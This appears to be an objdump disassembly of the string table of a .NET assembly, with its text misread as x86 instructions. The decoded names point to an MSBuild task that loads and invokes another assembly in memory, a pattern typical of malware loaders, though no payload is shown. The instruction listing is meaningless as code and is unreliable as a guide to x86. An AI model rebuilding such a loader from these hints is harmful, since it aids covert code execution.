46602c:	69 01 17 08 43 00    	imul   $0x430817,(%ecx),%eax
466032:	d5 05                	aad    $0x5
466034:	00 52 56             	add    %dl,0x56(%edx)
466037:	65 49                	gs dec %ecx
466039:	4a                   	dec    %edx
46603a:	70 62                	jo     0x46609e
46603c:	55                   	push   %ebp
46603d:	73 6b                	jae    0x4660aa
46603f:	6f                   	outsl  %ds:(%esi),(%dx)
466040:	43                   	inc    %ebx
466041:	70 78                	jo     0x4660bb
466043:	56                   	push   %esi
466044:	68 6d 61 00 6d       	push   $0x6d00616d
466049:	73 63                	jae    0x4660ae
46604b:	6f                   	outsl  %ds:(%esi),(%dx)
46604c:	72 6c                	jb     0x4660ba
46604e:	69 62 00 53 79 73 74 	imul   $0x74737953,0x0(%edx),%esp
466055:	65 6d                	gs insl (%dx),%es:(%edi)
466057:	2e 43                	cs inc %ebx
466059:	6f                   	outsl  %ds:(%esi),(%dx)
46605a:	72 65                	jb     0x4660c1
46605c:	00 53 79             	add    %dl,0x79(%ebx)
46605f:	73 74                	jae    0x4660d5
466061:	65 6d                	gs insl (%dx),%es:(%edi)
466063:	00 4d 69             	add    %cl,0x69(%ebp)
466066:	63 72 6f             	arpl   %esi,0x6f(%edx)
466069:	73 6f                	jae    0x4660da
46606b:	66 74 2e             	data16 je 0x46609c
46606e:	42                   	inc    %edx
46606f:	75 69                	jne    0x4660da
466071:	6c                   	insb   (%dx),%es:(%edi)
466072:	64 2e 46             	fs cs inc %esi
466075:	72 61                	jb     0x4660d8
466077:	6d                   	insl   (%dx),%es:(%edi)
466078:	65 77 6f             	gs ja  0x4660ea
46607b:	72 6b                	jb     0x4660e8
46607d:	00 4d 69             	add    %cl,0x69(%ebp)
466080:	63 72 6f             	arpl   %esi,0x6f(%edx)
466083:	73 6f                	jae    0x4660f4
466085:	66 74 2e             	data16 je 0x4660b6
466088:	42                   	inc    %edx
466089:	75 69                	jne    0x4660f4
46608b:	6c                   	insb   (%dx),%es:(%edi)
46608c:	64 2e 55             	fs cs push %ebp
46608f:	74 69                	je     0x4660fa
466091:	6c                   	insb   (%dx),%es:(%edi)
466092:	69 74 69 65 73 2e 76 	imul   $0x34762e73,0x65(%ecx,%ebp,2),%esi
466099:	34
46609a:	2e 30 00             	xor    %al,%cs:(%eax)
46609d:	53                   	push   %ebx
46609e:	79 73                	jns    0x466113
4660a0:	74 65                	je     0x466107
4660a2:	6d                   	insl   (%dx),%es:(%edi)
4660a3:	2e 58                	cs pop %eax
4660a5:	6d                   	insl   (%dx),%es:(%edi)
4660a6:	6c                   	insb   (%dx),%es:(%edi)
4660a7:	2e 4c                	cs dec %esp
4660a9:	69 6e 71 00 6b 65 72 	imul   $0x72656b00,0x71(%esi),%ebp
4660b0:	6e                   	outsb  %ds:(%esi),(%dx)
4660b1:	65 6c                	gs insb (%dx),%es:(%edi)
4660b3:	33 32                	xor    (%edx),%esi
4660b5:	2e 64 6c             	cs fs insb (%dx),%es:(%edi)
4660b8:	6c                   	insb   (%dx),%es:(%edi)
4660b9:	00 55 43             	add    %dl,0x43(%ebp)
4660bc:	4f                   	dec    %edi
4660bd:	4d                   	dec    %ebp
4660be:	49                   	dec    %ecx
4660bf:	45                   	inc    %ebp
4660c0:	6e                   	outsb  %ds:(%esi),(%dx)
4660c1:	75 6d                	jne    0x466130
4660c3:	65 72 61             	gs jb  0x466127
4660c6:	62 6c 65 2e          	bound  %ebp,0x2e(%ebp,%eiz,2)
4660ca:	64 6f                	outsl  %fs:(%esi),(%dx)
4660cc:	6f                   	outsl  %ds:(%esi),(%dx)
4660cd:	6d                   	insl   (%dx),%es:(%edi)
4660ce:	65 72 00             	gs jb  0x4660d1
4660d1:	3c 4d                	cmp    $0x4d,%al
4660d3:	6f                   	outsl  %ds:(%esi),(%dx)
4660d4:	64 75 6c             	fs jne 0x466143
4660d7:	65 3e 00 4e 61       	gs add %cl,%ds:0x61(%esi)
4660dc:	74 69                	je     0x466147
4660de:	76 65                	jbe    0x466145
4660e0:	4d                   	dec    %ebp
4660e1:	65 74 68             	gs je  0x46614c
4660e4:	6f                   	outsl  %ds:(%esi),(%dx)
4660e5:	64 42                	fs inc %edx
4660e7:	6f                   	outsl  %ds:(%esi),(%dx)
4660e8:	64 79 00             	fs jns 0x4660eb
4660eb:	4f                   	dec    %edi
4660ec:	62 6a 65             	bound  %ebp,0x65(%edx)
4660ef:	63 74 00 2e          	arpl   %esi,0x2e(%eax,%eax,1)
4660f3:	63 74 6f 72          	arpl   %esi,0x72(%edi,%ebp,2)
4660f7:	00 4e 61             	add    %cl,0x61(%esi)
4660fa:	74 69                	je     0x466165
4660fc:	76 65                	jbe    0x466163
4660fe:	54                   	push   %esp
4660ff:	79 70                	jns    0x466171
466101:	65 00 6f 62          	add    %ch,%gs:0x62(%edi)
466105:	6a 65                	push   $0x65
466107:	63 74 5f 30          	arpl   %esi,0x30(%edi,%ebx,2)
46610b:	00 41 73             	add    %al,0x73(%ecx)
46610e:	73 65                	jae    0x466175
466110:	6d                   	insl   (%dx),%es:(%edi)
466111:	62 6c 79 00          	bound  %ebp,0x0(%ecx,%edi,2)
466115:	53                   	push   %ebx
466116:	79 73                	jns    0x46618b
466118:	74 65                	je     0x46617f
46611a:	6d                   	insl   (%dx),%es:(%edi)
46611b:	2e 52                	cs push %edx
46611d:	65 66 6c             	gs data16 insb (%dx),%es:(%edi)
466120:	65 63 74 69 6f       	arpl   %esi,%gs:0x6f(%ecx,%ebp,2)
466125:	6e                   	outsb  %ds:(%esi),(%dx)
466126:	00 43 72             	add    %al,0x72(%ebx)
466129:	65 61                	gs popa
46612b:	74 65                	je     0x466192
46612d:	49                   	dec    %ecx
46612e:	6e                   	outsb  %ds:(%esi),(%dx)
46612f:	73 74                	jae    0x4661a5
466131:	61                   	popa
466132:	6e                   	outsb  %ds:(%esi),(%dx)
466133:	63 65 00             	arpl   %esp,0x0(%ebp)
466136:	49                   	dec    %ecx
466137:	50                   	push   %eax
466138:	4d                   	dec    %ebp
466139:	75 6c                	jne    0x4661a7
46613b:	74 69                	je     0x4661a6
46613d:	63 61 73             	arpl   %esp,0x73(%ecx)
466140:	74 52                	je     0x466194
466142:	65 71 75             	gs jno 0x4661ba
466145:	65 73 74             	gs jae 0x4661bc
466148:	00 4d 65             	add    %cl,0x65(%ebp)
46614b:	74 68                	je     0x4661b5
46614d:	6f                   	outsl  %ds:(%esi),(%dx)
46614e:	64 49                	fs dec %ecx
466150:	6e                   	outsb  %ds:(%esi),(%dx)
466151:	66 6f                	outsw  %ds:(%esi),(%dx)
466153:	00 61 73             	add    %ah,0x73(%ecx)
466156:	73 65                	jae    0x4661bd
466158:	6d                   	insl   (%dx),%es:(%edi)
466159:	62 6c 79 00          	bound  %ebp,0x0(%ecx,%edi,2)
46615d:	65 6e                	outsb  %gs:(%esi),(%dx)
46615f:	74 72                	je     0x4661d3
466161:	79 50                	jns    0x4661b3
466163:	6f                   	outsl  %ds:(%esi),(%dx)
466164:	69 6e 74 00 4d 65 74 	imul   $0x74654d00,0x74(%esi),%ebp
46616b:	68 6f 64 42 61       	push   $0x6142646f
466170:	73 65                	jae    0x4661d7
466172:	00 49 6e             	add    %cl,0x6e(%ecx)
466175:	76 6f                	jbe    0x4661e6
466177:	6b 65 00 4c          	imul   $0x4c,0x0(%ebp),%esp
46617b:	61                   	popa
46617c:	7a 79                	jp     0x4661f7
46617e:	49                   	dec    %ecx
46617f:	6e                   	outsb  %ds:(%esi),(%dx)
466180:	69 74 69 61 6c 69 7a 	imul   $0x657a696c,0x61(%ecx,%ebp,2),%esi
466187:	65
466188:	72 00                	jb     0x46618a
46618a:	53                   	push   %ebx
46618b:	74 72                	je     0x4661ff
46618d:	69 6e 67 00 41 63 63 	imul   $0x63634100,0x67(%esi),%ebp
466194:	65 73 73             	gs jae 0x46620a
466197:	43                   	inc    %ebx
466198:	6f                   	outsl  %ds:(%esi),(%dx)
466199:	6e                   	outsb  %ds:(%esi),(%dx)
46619a:	74 72                	je     0x46620e
46619c:	6f                   	outsl  %ds:(%esi),(%dx)
46619d:	6c                   	insb   (%dx),%es:(%edi)
46619e:	54                   	push   %esp
46619f:	79 70                	jns    0x466211
4661a1:	65 00 41 70          	add    %al,%gs:0x70(%ecx)
4661a5:	70 44                	jo     0x4661eb
4661a7:	6f                   	outsl  %ds:(%esi),(%dx)
4661a8:	6d                   	insl   (%dx),%es:(%edi)
4661a9:	61                   	popa
4661aa:	69 6e 00 67 65 74 5f 	imul   $0x5f746567,0x0(%esi),%ebp
4661b1:	43                   	inc    %ebx
4661b2:	75 72                	jne    0x466226
4661b4:	72 65                	jb     0x46621b
4661b6:	6e                   	outsb  %ds:(%esi),(%dx)
4661b7:	74 44                	je     0x4661fd
4661b9:	6f                   	outsl  %ds:(%esi),(%dx)
4661ba:	6d                   	insl   (%dx),%es:(%edi)
4661bb:	61                   	popa
4661bc:	69 6e 00 4c 6f 61 64 	imul   $0x64616f4c,0x0(%esi),%ebp
4661c3:	00 67 65             	add    %ah,0x65(%edi)
4661c6:	74 5f                	je     0x466227
4661c8:	45                   	inc    %ebp
4661c9:	6e                   	outsb  %ds:(%esi),(%dx)
4661ca:	74 72                	je     0x46623e
4661cc:	79 50                	jns    0x46621e
4661ce:	6f                   	outsl  %ds:(%esi),(%dx)
4661cf:	69 6e 74 00 43 6f 6e 	imul   $0x6e6f4300,0x74(%esi),%ebp
4661d6:	76 65                	jbe    0x46623d
4661d8:	72 74                	jb     0x46624e
4661da:	00 54 6f 49          	add    %dl,0x49(%edi,%ebp,2)
4661de:	6e                   	outsb  %ds:(%esi),(%dx)
4661df:	74 33                	je     0x466214
4661e1:	32 00                	xor    (%eax),%al
4661e3:	43                   	inc    %ebx
4661e4:	6f                   	outsl  %ds:(%esi),(%dx)
4661e5:	6e                   	outsb  %ds:(%esi),(%dx)
4661e6:	74 72                	je     0x46625a
4661e8:	6f                   	outsl  %ds:(%esi),(%dx)
4661e9:	6c                   	insb   (%dx),%es:(%edi)
4661ea:	00 49 54             	add    %cl,0x54(%ecx)
4661ed:	79 70                	jns    0x46625f
4661ef:	65 44                	gs inc %esp
4661f1:	65 73 63             	gs jae 0x466257
4661f4:	72 69                	jb     0x46625f
4661f6:	70 74                	jo     0x46626c
4661f8:	6f                   	outsl  %ds:(%esi),(%dx)
4661f9:	72 46                	jb     0x466241
4661fb:	69 6c 74 65 72 53 65 	imul   $0x72655372,0x65(%esp,%esi,2),%ebp
466202:	72
466203:	76 69                	jbe    0x46626e
466205:	63 65 00             	arpl   %esp,0x0(%ebp)
466208:	4d                   	dec    %ebp
466209:	65 6d                	gs insl (%dx),%es:(%edi)
46620b:	62 65 72             	bound  %esp,0x72(%ebp)
46620e:	49                   	dec    %ecx
46620f:	6e                   	outsb  %ds:(%esi),(%dx)
466210:	66 6f                	outsw  %ds:(%esi),(%dx)
466212:	00 67 65             	add    %ah,0x65(%edi)
466215:	74 5f                	je     0x466276
466217:	4e                   	dec    %esi
466218:	61                   	popa
466219:	6d                   	insl   (%dx),%es:(%edi)
46621a:	65 00 43 6d          	add    %al,%gs:0x6d(%ebx)
46621e:	69 4d 61 6e 69 66 65 	imul   $0x6566696e,0x61(%ebp),%ecx
466225:	73 74                	jae    0x46629b
466227:	53                   	push   %ebx
466228:	69 67 6e 65 72 00 61 	imul   $0x61007265,0x6e(%edi),%esp
46622f:	73 6d                	jae    0x46629e
466231:	00 58 6d             	add    %bl,0x6d(%eax)
466234:	6c                   	insb   (%dx),%es:(%edi)
466235:	43                   	inc    %ebx
466236:	6f                   	outsl  %ds:(%esi),(%dx)
466237:	6d                   	insl   (%dx),%es:(%edi)
466238:	6d                   	insl   (%dx),%es:(%edi)
466239:	65 6e                	outsb  %gs:(%esi),(%dx)
46623b:	74 00                	je     0x46623d
46623d:	47                   	inc    %edi
46623e:	65 74 45             	gs je  0x466286
466241:	6e                   	outsb  %ds:(%esi),(%dx)
466242:	75 6d                	jne    0x4662b1
466244:	65 72 61             	gs jb  0x4662a8
466247:	74 6f                	je     0x4662b8
466249:	72 64                	jb     0x4662af
46624b:	5f                   	pop    %edi
46624c:	5f                   	pop    %edi
46624d:	37                   	aaa
46624e:	00 48 61             	add    %cl,0x61(%eax)
466251:	6e                   	outsb  %ds:(%esi),(%dx)
466252:	64 6c                	fs insb (%dx),%es:(%edi)
466254:	65 64 45             	gs fs inc %ebp
466257:	76 65                	jbe    0x4662be
466259:	6e                   	outsb  %ds:(%esi),(%dx)
46625a:	74 48                	je     0x4662a4
46625c:	61                   	popa
46625d:	6e                   	outsb  %ds:(%esi),(%dx)
46625e:	64 6c                	fs insb (%dx),%es:(%edi)
466260:	65 72 00             	gs jb  0x466263
466263:	70 61                	jo     0x4662c6
466265:	73 73                	jae    0x4662da
466267:	00 43 6f             	add    %al,0x6f(%ebx)
46626a:	6e                   	outsb  %ds:(%esi),(%dx)
46626b:	74 65                	je     0x4662d2
46626d:	78 74                	js     0x4662e3
46626f:	42                   	inc    %edx
466270:	6f                   	outsl  %ds:(%esi),(%dx)
466271:	75 6e                	jne    0x4662e1
466273:	64 4f                	fs dec %edi
466275:	62 6a 65             	bound  %ebp,0x65(%edx)
466278:	63 74 00 48          	arpl   %esi,0x48(%eax,%eax,1)
46627c:	74 74                	je     0x4662f2
46627e:	70 53                	jo     0x4662d3
466280:	74 61                	je     0x4662e3
466282:	74 75                	je     0x4662f9
466284:	73 44                	jae    0x4662ca
466286:	65 73 63             	gs jae 0x4662ec
466289:	72 69                	jb     0x4662f4
46628b:	70 74                	jo     0x466301
46628d:	69 6f 6e 00 53 74 72 	imul   $0x72745300,0x6e(%edi),%ebp
466294:	65 61                	gs popa
466296:	6d                   	insl   (%dx),%es:(%edi)
466297:	00 53 79             	add    %dl,0x79(%ebx)
46629a:	73 74                	jae    0x466310
46629c:	65 6d                	gs insl (%dx),%es:(%edi)
46629e:	2e 49                	cs dec %ecx
4662a0:	4f                   	dec    %edi
4662a1:	00 42 69             	add    %al,0x69(%edx)
4662a4:	6e                   	outsb  %ds:(%esi),(%dx)
4662a5:	61                   	popa
4662a6:	72 79                	jb     0x466321
4662a8:	52                   	push   %edx
4662a9:	65 61                	gs popa
4662ab:	64 65 72 00          	fs gs jb 0x4662af
4662af:	67 65 74 5f          	addr16 gs je 0x466312
4662b3:	4c                   	dec    %esp
4662b4:	65 6e                	outsb  %gs:(%esi),(%dx)
4662b6:	67 74 68             	addr16 je 0x466321
4662b9:	00 49 44             	add    %cl,0x44(%ecx)
4662bc:	69 73 70 6f 73 61 62 	imul   $0x6261736f,0x70(%ebx),%esi
4662c3:	6c                   	insb   (%dx),%es:(%edi)
4662c4:	65 00 44 69 73       	add    %al,%gs:0x73(%ecx,%ebp,2)
4662c9:	70 6f                	jo     0x46633a
4662cb:	73 65                	jae    0x466332
4662cd:	00 45 76             	add    %al,0x76(%ebp)
4662d0:	65 6e                	outsb  %gs:(%esi),(%dx)
4662d2:	74 4c                	je     0x466320
4662d4:	6f                   	outsl  %ds:(%esi),(%dx)
4662d5:	67 52                	addr16 push %edx
4662d7:	65 61                	gs popa
4662d9:	64 69 6e 67 45 78 63 	imul   $0x65637845,%fs:0x67(%esi),%ebp
4662e0:	65
4662e1:	70 74                	jo     0x466357
4662e3:	69 6f 6e 00 45 6e 63 	imul   $0x636e4500,0x6e(%edi),%ebp
4662ea:	6f                   	outsl  %ds:(%esi),(%dx)
4662eb:	64 69 6e 67 00 53 79 	imul   $0x73795300,%fs:0x67(%esi),%ebp
4662f2:	73
4662f3:	74 65                	je     0x46635a
4662f5:	6d                   	insl   (%dx),%es:(%edi)
4662f6:	2e 54                	cs push %esp
4662f8:	65 78 74             	gs js  0x46636f
4662fb:	00 67 65             	add    %ah,0x65(%edi)
4662fe:	74 5f                	je     0x46635f
466300:	55                   	push   %ebp
466301:	6e                   	outsb  %ds:(%esi),(%dx)
466302:	69 63 6f 64 65 00 42 	imul   $0x42006564,0x6f(%ebx),%esp
466309:	79 74                	jns    0x46637f
46630b:	65 00 53 74          	add    %dl,%gs:0x74(%ebx)
46630f:	72 65                	jb     0x466376
466311:	61                   	popa
466312:	6d                   	insl   (%dx),%es:(%edi)
466313:	43                   	inc    %ebx
466314:	6f                   	outsl  %ds:(%esi),(%dx)
466315:	6e                   	outsb  %ds:(%esi),(%dx)
466316:	74 65                	je     0x46637d
466318:	6e                   	outsb  %ds:(%esi),(%dx)
466319:	74 00                	je     0x46631b
46631b:	49                   	dec    %ecx
46631c:	4d                   	dec    %ebp
46631d:	65 73 73             	gs jae 0x466393
466320:	61                   	popa
466321:	67 65 43             	addr16 gs inc %ebx
466324:	74 72                	je     0x466398
466326:	6c                   	insb   (%dx),%es:(%edi)
466327:	00 4d 61             	add    %cl,0x61(%ebp)
46632a:	69 6e 00 47 65 74 4d 	imul   $0x4d746547,0x0(%esi),%ebp
466331:	61                   	popa